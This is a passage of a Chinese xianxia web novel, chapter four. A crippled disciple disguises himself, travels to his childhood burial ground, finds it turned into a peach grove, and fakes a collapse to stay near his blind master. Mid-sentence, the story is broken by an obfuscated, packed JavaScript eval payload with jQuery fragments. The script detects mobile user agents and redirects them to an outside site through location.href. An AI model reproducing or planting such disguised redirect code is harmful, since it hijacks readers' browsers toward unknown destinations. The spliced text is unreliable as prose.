第四章:
青风将唐择玉送至宗门外最近的一处山中,便行礼告退,化作一道剑光返回宗门。
山风呜咽,吹得唐择玉的衣袍猎猎作响。他站在山巅,回望隐匿在云层中的青玄宗,依稀还能看见主峰巍峨的轮廓。
以往御剑轻而易举就能跨越的距离,如今却需要他人援手。
唐择玉低头自嘲地笑了一声,不过很快这点自嘲就被更浓郁复杂的情绪所掩盖。
今日之事,他同时得罪了崔冥和桐城,以这两方的小心眼,报复几乎是必然。
宗主态度暧昧,看似处处维护,句句关怀,实则皆是空口白话,没有实际的好处。
云复礼倒还是老样子,他几乎没有变,给唐择玉的感觉最不陌生。
他让青风护送唐择玉,也是想从侧面警告外门那些人安分守己。
只可惜他低估了人心的恶意。
外门从不缺能人,缺的是逆天改命的机会。如果崔冥和桐城愿意开出高价,多的是人愿意替他们对付唐择玉。
届时除非云复礼亲临坐镇,不然外门对于唐择玉而言就是龙潭虎穴。
唐择玉不喜欢被人惦记,也不想在这个时候拖累云复礼,离开宗门反而对他有利。
唐择玉在山中寻到一处避风的洞穴,盘膝而坐,拿出云复礼赠的丹药查看。
药是好药,虽然对他的丹田没有治疗效果,但是对外伤却有奇效,只要吞下后运转灵力,保证药到病除。
只可惜……
唐择玉收起丹药,内视气海,原本凝聚金丹的丹田,如今只剩几道可怕的裂痕。
他金丹消散,奇经八脉断裂、萎缩,灵力通路被阻,灵力全无。
崔冥生怕他不死,还在他体内留下暗劲,不断加重他的伤势。
若是寻常人遭此一劫,不死也残,余生无望。
可唐择玉不同,他有一个隐藏至深的秘密:他不会死。
过去这些年,他曾数次踏入鬼门关,但最后都安然无恙。
他的身体异于常人,命悬一线,濒临死亡之时,能和天地间的阴煞之气产生共鸣。
阴煞之气会涌入他的身体,强行修复创伤,续接生机。
一开始唐择玉不能掌控,阴煞之气格外粗暴,在他体内剔骨削肉,直接给他捏一个新身体,把唐择玉痛的死去活来。
后来唐择玉学会引气入体,阴煞之气不再横冲直撞,而是由他自由索取。
眼下拜崔冥所赐,夺舍者魂灭,拖着他的身体跌入零界点,他此刻无法正常吸收灵气,只能以阴煞之气为食。
青玄宗灵气充裕,煞气难寻,附近的山脉受它庇护,死气不成气候,更难形成规模型的煞气。
唐择玉需要一个新的疗伤之地,他心中已有打算,但眼下不是动身的最好时机。
他在此地稍作休息,清点桐城送回来的储物袋,看有没有自己能用的东西。
储物袋上没有禁制,唐择玉的神识很容易就进入其中。
他粗略地扫过,夺舍者当初舍得下血本,光灵石就是百万之数,丹药、符箓、功法,天才地宝更是应有尽有。
唐择玉挑挑拣拣,最后拿了几张神行符和一瓶易容丹。
他身体不佳,要去的地方又远,神行符可以大大地节省体力,缩短时间。
易容丹品阶不低,药效可以维持七日。
唐择玉在心中估算,七天足够他修复经脉,养好身体,到时候还是要回外门溜达一圈,留着弟子身份。
唐择玉服下丹药,心念一动,药效在体内里发挥作用,他的身体开始缩水,身量比一开始矮了一个头不止,细胳膊细腿,看起来只有十六七岁,加上一身的伤,显得过于羸弱,好像风一吹就能倒下去。
唐择玉对这个伪装很满意,他收起储物袋,看了眼外界的天色,一直在山洞内修养,拖到太阳落山,才贴上神行符动身。
他的目的地是青玄宗和桐城不会轻易涉足之地——他自小生活的乱葬岗。
那里集结了无数的煞气和怨念,早在他出事前,那个地方就已经被阴煞之气腐蚀的寸草不生,方圆百里荒无人烟。
青玄宗和桐城从不会主动过问,十年过去了,说不定阴煞之气早已集聚形成养尸地。
要真是如此,唐择玉只管挖个坑往里一躺,睡上几天几夜,再爬起来又是一条好汉。
在神行符的加持下,唐择玉身体轻逸,脚步轻快,约莫两个时辰,他便抵达了乱葬岗的外围。
今夜的天色很好,月亮又圆又明,洒落一地的银辉,照得天地惨白,冷气森森。
唐择玉缓缓摊开手掌,一丝极淡的,几乎看不见的阴冷气息受到牵引,从地底渗出,凝聚在他掌心,形成灰色的气旋。
这是乱葬岗外围游离的死气,唐择玉的身体感受到舒爽的凉意,似有呼吸般贪念地舔舐,灰色的气旋很快被吞噬干净。
唐择玉收拢手指,和阴煞之气比起来,这只是开胃小菜。
他继续往前,满心期待,可是还没走出去多远,他就察觉到异样。
越是靠近乱葬岗中心,空气中的煞气和阴冷就越发的淡泊,反倒是灵气变得充盈,让人有种明媚的暖意。
唐择玉眉头紧皱,一股不详的预感在心底升腾,可很快又被他否定,他下意识地加快了脚步。
当他真正再次踏上这片熟悉的土地时,眼前的景象让他骤然停步,瞳孔骤缩,满脸的难以置信。
这里没有堆积如山的尸体、没有累累白骨、没有萦绕不散的怨气与煞气、没有荒芜的焦土,取而代之的是漫山遍野,灼灼如华的桃花。
晚风拂过,桃树摇曳,落英缤纷,粉白的花瓣如雪花般簌簌落下,覆盖了曾经充满腥臭和腐烂气息的泥土。
温暖的生机取代了死亡,驱散彻骨的阴寒。
虬枝盘错的桃树生长的极好,放眼看去不见尽头,仿佛这里从始至终就是一片世外桃源。
唐择玉傻眼了。
他的乱葬岗呢?
他那么大的一个乱葬岗呢?
谁给他种上桃花了?
唐择玉几欲吐血。
此处的乱葬岗不知存在了几百年,青玄宗和桐城一向是睁只眼闭只眼,严重的时候煞气遮天蔽日,吸引来无数的魑魅魍魉侵扰城镇。
也只有这个时候,双方才像长了眼睛,派人出手镇压。
眼下不过十年光景,到底是谁闲的没事,把他的乱葬岗一锅端了?
唐择玉沉默半晌,一口气堵在心口不上不下,过了好半天,他才笑出声。
被气笑的。
他不信邪又往前走了一刻钟,耳边传来潺潺水声,视线豁然开朗。
唐择玉拨开一丛低垂的花枝,抬头看去,只见一株枝繁叶茂的巨大桃树下,摆放着一方简单的青石棋盘,一道人影静坐在石凳上。
那人身形消瘦,宽大的云纹深衣下罩着浅蓝色的长袍,墨发如瀑,随意地簪了一枝桃花。
花朵开的正盛,衬的人容颜如玉,俊逸风/流。
美中不足的是这人似有眼疾,眼睛上覆着鲛纱。
他此刻指尖捻着一颗黑色的棋子,微微倾身,似在无声地推演眼前的棋局。
月色偏爱他的淡然,如同白纱一般垂落在他身上,给他渡上一层柔和的光晕,圣洁清冷。
唐择玉看着眼前这一幕,如遭雷击,僵在原地。
他怎么也没有想到,住在这里的人竟然是他师尊,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368174|183912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裴寂。
宗门上下,甚至是唐择玉的记忆都在告诉他,裴寂在闭关。
可眼前人是那么的真实,真实的又像是月色幻化的空想,让人不敢相信。
唐择玉的脚不由自主地动了,他刚踏出一步,猛地回神,却为时已晚。
“谁?”
裴寂放下手中的棋子,手腕一转,林中飞花如雨,顷刻间就拦了唐择玉的退路,把他逼到空地上。
唐择玉头一次知道自己这张能说会道的嘴也有词穷的时候。
他看着裴寂,目光落在覆眼的鲛纱上,喉头哽咽,一个字都说不出来。
他设想过无数再见裴寂的场景,或是被训斥,或是被冷遇,唯独没有眼前这一幕。
他顶着十六七岁的皮囊,对上眼盲的裴寂,师徒对面不相识,重逢唱成独角戏,满腹酸涩不敢言说,即是喜悦,亦是苦果。
唐择玉气息不稳,喉间涌上一抹腥甜,却觉满嘴苦涩。
他擦去嘴角溢出的血迹,压下心头的千愁万绪,调整好心情后,才敢压低声音道:“晚辈慌不择路,一时迷失了方向,误入宝地,扰了前辈清修,还请前辈恕罪。”
裴寂没有抬头,声音古井无波,带着疏离冷淡:“既然是误入,速速离去便是。”
他独揽花间月色,不想被人打扰。
唐择玉的心颤了颤,十年未见,裴寂的性子冷淡很多。
他低声咳嗽,压下有些混乱的气息,虚弱道:“前辈,眼下天色已晚,我有伤在身,不宜奔波,可否请你收留一晚?”
这话半真半假,唐择玉的身体本就是强弩之末,只是他神魂未损,尚能支撑。
但他一路赶来,即便有神行符,也消耗不小。
原以为可以就地医治,没想到出了预料之外的大变故。
裴寂抬头,眉间的朱砂格外艳丽。
他的视线准确地扫向唐择玉的方向,无形的压迫感笼罩过来。
唐择玉没有反抗,他放松身体,能清晰地感觉到裴寂的神识从他身上扫过,在他的丹田内停留了一瞬,很快又消失无踪。
裴寂沉吟,就在唐择玉以为他会动恻隐之心时,他冷声道:“此乃阴煞之地,对你的伤势没有好处。离此地十里,有一处清泉,可以缓解你的伤势。”
唐择玉没有感受到阴煞之气,桃花至阳至刚,阴煞之气至阴至邪,两者相生相克,以裴寂的能耐,完全可以压制。
他用这个借口赶人,就像是在明晃晃地说他不欢迎。
唐择玉没见过如此冷淡的师尊,记忆里师尊心怀大爱,博爱众生,对他亦是有求必应,关怀备至。
突然的冷遇让他一时无所适从,他不禁在想,这些年到底发生了什么,才会让师尊有如此大的改变?
想要留下来的念头越发强烈,唐择玉眉头一皱,计上心头。
他恭敬地行了个礼,没有驳裴寂的话,礼貌道:“多谢前辈相告,是晚辈叨扰了,晚辈这就离……”
唐择玉说话间,悄悄地引了一股灵气入体,那气息和他的经脉相冲,让原本就脆弱的经脉瞬间遭到重创。
他话音未落,先一口鲜血喷出,面色顷刻间惨白,整个人如同断了线的风筝,向前栽倒。
他在赌,赌裴寂不会见死不救。
裴寂抬手,林间桃树无风自动,花瓣纷纷扬扬,如同一张大网将唐择玉兜住。
他站起身,身形一晃,人便到了唐择玉身侧。
空气中涌动着淡淡的血腥之气,唐择玉躺在花瓣间,气若游丝。
裴寂摸上他的手腕,脉象虚浮混乱,体内更是有数道暗劲流窜。
察觉到熟悉的气息,裴寂神色微凝,眉头轻蹙,心中暗忖:“青玄宗?”